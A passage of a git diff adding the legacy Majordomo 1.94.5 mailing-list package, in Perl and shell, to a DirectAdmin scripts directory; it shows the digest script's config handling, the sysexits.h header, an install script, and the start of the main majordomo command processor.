else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + unlink(@processed); + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",
); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h new file mode 100644 index 0000000..464cb11 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h @@ -0,0 +1,118 @@ +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)sysexits.h 8.1 (Berkeley) 6/2/93 + */ + +#ifndef _SYSEXITS_H_ +#define _SYSEXITS_H_ + +/* + * SYSEXITS.H -- Exit status codes for system programs. + * + * This include file attempts to categorize possible error + * exit statuses for system programs, notably delivermail + * and the Berkeley network. + * + * Error numbers begin at EX__BASE to reduce the possibility of + * clashing with other exit statuses that random programs may + * already return. The meaning of the codes is approximately + * as follows: + * + * EX_USAGE -- The command was used incorrectly, e.g., with + * the wrong number of arguments, a bad flag, a bad + * syntax in a parameter, or whatever. + * EX_DATAERR -- The input data was incorrect in some way. + * This should only be used for user's data & not + * system files. + * EX_NOINPUT -- An input file (not a system file) did not + * exist or was not readable. This could also include + * errors like "No message" to a mailer (if it cared + * to catch it). + * EX_NOUSER -- The user specified did not exist. This might + * be used for mail addresses or remote logins. + * EX_NOHOST -- The host specified did not exist. This is used + * in mail addresses or network requests. + * EX_UNAVAILABLE -- A service is unavailable. This can occur + * if a support program or file does not exist. This + * can also be used as a catchall message when something + * you wanted to do doesn't work, but you don't know + * why. + * EX_SOFTWARE -- An internal software error has been detected. + * This should be limited to non-operating system related + * errors as possible. + * EX_OSERR -- An operating system error has been detected. + * This is intended to be used for such things as "cannot + * fork", "cannot create pipe", or the like. It includes + * things like getuid returning a user that does not + * exist in the passwd file. + * EX_OSFILE -- Some system file (e.g., /etc/passwd, /etc/utmp, + * etc.) does not exist, cannot be opened, or has some + * sort of error (e.g., syntax error). + * EX_CANTCREAT -- A (user specified) output file cannot be + * created. + * EX_IOERR -- An error occurred while doing I/O on some file. + * EX_TEMPFAIL -- temporary failure, indicating something that + * is not really an error. In sendmail, this means + * that a mailer (e.g.) could not create a connection, + * and the request should be reattempted later. + * EX_PROTOCOL -- the remote system returned something that + * was "not possible" during a protocol exchange. + * EX_NOPERM -- You did not have sufficient permission to + * perform the operation. This is not intended for + * file system problems, which should use NOINPUT or + * CANTCREAT, but rather for higher level permissions. + */ + +#define EX_OK 0 /* successful termination */ + +#define EX__BASE 64 /* base value for error messages */ + +#define EX_USAGE 64 /* command line usage error */ +#define EX_DATAERR 65 /* data format error */ +#define EX_NOINPUT 66 /* cannot open input */ +#define EX_NOUSER 67 /* addressee unknown */ +#define EX_NOHOST 68 /* host name unknown */ +#define EX_UNAVAILABLE 69 /* service unavailable */ +#define EX_SOFTWARE 70 /* internal software error */ +#define EX_OSERR 71 /* system error (e.g., can't fork) */ +#define EX_OSFILE 72 /* critical OS file missing */ +#define EX_CANTCREAT 73 /* can't create (user) output file */ +#define EX_IOERR 74 /* input/output error */ +#define EX_TEMPFAIL 75 /* temp failure; user is invited to retry */ +#define EX_PROTOCOL 76 /* remote error in protocol */ +#define EX_NOPERM 77 /* permission denied */ +#define EX_CONFIG 78 /* configuration error */ + +#define EX__MAX 78 /* maximum listed value */ + +#endif /* !_SYSEXITS_H_ */ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh new file mode 100644 index 0000000..edfa862 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh @@ -0,0 +1,251 @@ +#! /bin/sh + +## (From INN-1.4, written by Rich Salz) +## $Revision: 1.1 $ +## A script to install files and directories. + +PROGNAME=`basename $0` + +## Paths to programs. CHOWN and WHOAMI are checked below. +CHOWN=chown +CHGRP=chgrp +CHMOD=chmod +CP=cp +LN=ln +MKDIR=mkdir +MV=mv +RM=rm +STRIP=strip +WHOAMI=whoami + +## Some systems don't support -x, so we have to use -f. +if [ ${CHOWN} = chown ] ; then + if [ -f /etc/chown ] ; then + CHOWN=/etc/chown + else + if [ -f /usr/etc/chown ] ; then + CHOWN=/usr/etc/chown + fi + fi +fi + +if [ ${WHOAMI} = whoami ] ; then + if [ -f /usr/ucb/whoami ] ; then + WHOAMI=/usr/ucb/whoami + fi +fi + +## Defaults. +CHOWNIT=false +CHGROUPIT=false +CHMODIT=false +STRIPIT=false +BACKIT=false +TOUCHIT=true +SAVESRC=false +ROOT=unknown + +## Process JCL. +MORETODO=true +while ${MORETODO} ; do + case X"$1" in + X-b) + BACKIT=true + BACKUP="$2" + shift + ;; + X-b*) + BACKIT=true + BACKUP=`expr "$1" : '-b\(.*\)'` + ;; + X-c) + SAVESRC=true + ;; + X-g) + GROUP="$2" + CHGROUPIT=true + shift + ;; + X-g*) + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + ;; + X-G) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + GROUP="$2" + shift + ${ROOT} && CHGROUPIT=true + ;; + X-G*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + fi + ;; + X-m) + MODE="$2" + CHMODIT=true + shift + ;; + X-m*) + MODE=`expr "$1" : '-m\(.*\)'` + CHMODIT=true + ;; + X-n) + TOUCHIT=false + ;; + X-o) + OWNER="$2" + CHOWNIT=true + shift + ;; + X-o*) + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + ;; + X-O) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + OWNER="$2" + shift + ${ROOT} && CHOWNIT=true + ;; + X-O*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + fi + ;; + X-s) + STRIPIT=true + ;; + X--) + shift + MORETODO=false + ;; + X-*) + echo "${PROGNAME}: Unknown flag $1" 1>&2 + exit 1 + ;; + *) + MORETODO=false + ;; + esac + ${MORETODO} && shift +done + +## Process arguments. +if [ $# -ne 2 ] ; then + echo "Usage: ${PROGNAME} [flags] source destination" + exit 1 +fi + +## Making a directory? +if [ X"$1" = X. ] ; then + DEST="$2" + if [ ! -d "${DEST}" ] ; then + ${MKDIR} "${DEST}" || exit 1 + fi + if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 + fi + if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 + fi + if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 + fi + exit 0 +fi + +## Get the destination and a temp file in the destination diretory. +if [ -d "$2" ] ; then + DEST="$2/$1" + TEMP="$2/$$.tmp" +else + DEST="$2" + TEMP="`expr "$2" : '\(.*\)/.*'`/$$.tmp" +fi + +## If not given the same name, we must try to copy. +if [ X"$1" != X"$2" -o $SAVESRC ] ; then + if cmp -s "$1" "${DEST}" ; then + ## Files are same; touch or not. + ${TOUCHIT} && touch "${DEST}" + else + ## If destination exists and we wish to backup, link to backup. + if [ -f "${DEST}" ] ; then + if ${BACKIT} ; then + ${RM} -f "${DEST}${BACKUP}" + ${LN} "${DEST}" "${DEST}${BACKUP}" + fi + fi + ## Copy source to the right dir, then move to right spot. + ## Done in two parts so we can hope for atomicity. + ${RM} -f "${TEMP}" || exit 1 + ${CP} "$1" "${TEMP}" || exit 1 + ${MV} -f "${TEMP}" "${DEST}" || exit 1 + fi +fi + +## Strip and set the modes. +if ${STRIPIT} ; then + ${STRIP} "${DEST}" || exit 1 +fi +if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 +fi +if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 +fi +if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 +fi +exit 0 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo new file mode 100644 index 0000000..acbdcb5 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + 